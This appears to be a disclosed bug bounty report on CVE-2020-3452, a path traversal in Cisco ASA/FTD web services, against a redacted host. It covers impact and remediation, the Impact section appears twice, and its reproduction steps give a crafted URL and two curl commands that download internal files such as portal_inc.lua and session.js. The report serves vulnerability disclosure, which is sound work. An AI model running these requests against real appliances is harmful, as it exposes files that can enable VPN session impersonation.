Read-only path traversal (CVE-2020-3452) at https://████████

How it was found

Summary: I discovered a vulnerability Read-only path traversal (CVE-2020-3452) at https://████████

Description: A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device.

Impact

An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. As an example, this could allow an attacker to impersonate another VPN user and establish a Clientless SSL VPN or AnyConnect VPN session to the device as that user. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.

Step-by-step Reproduction Instructions

• In a web browser, navigate to https://███████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

• Once URL is fully loaded, you will be prompted to download file translation-table that represents portal_inc.lua which you can then open and observe its content. ████████ █████

• Alternatively, you can execute the below linux bash terminal command to download that same file portal_inc.lua:

curl -k "https://███████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" --output portal_inc.lua 

• You can download various internal files using curl flag --output to output the binary data to a file:

curl -k "https://████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/session.js&default-language&lang=../" --output session.js 

Product, Version, and Configuration (If applicable)

WebApp endpoint

Suggested Mitigation/Remediation Actions

• Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.
• This advisory is available at the following link https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86

Impact

An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. As an example, this could allow an attacker to impersonate another VPN user and establish a Clientless SSL VPN or AnyConnect VPN session to the device as that user. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.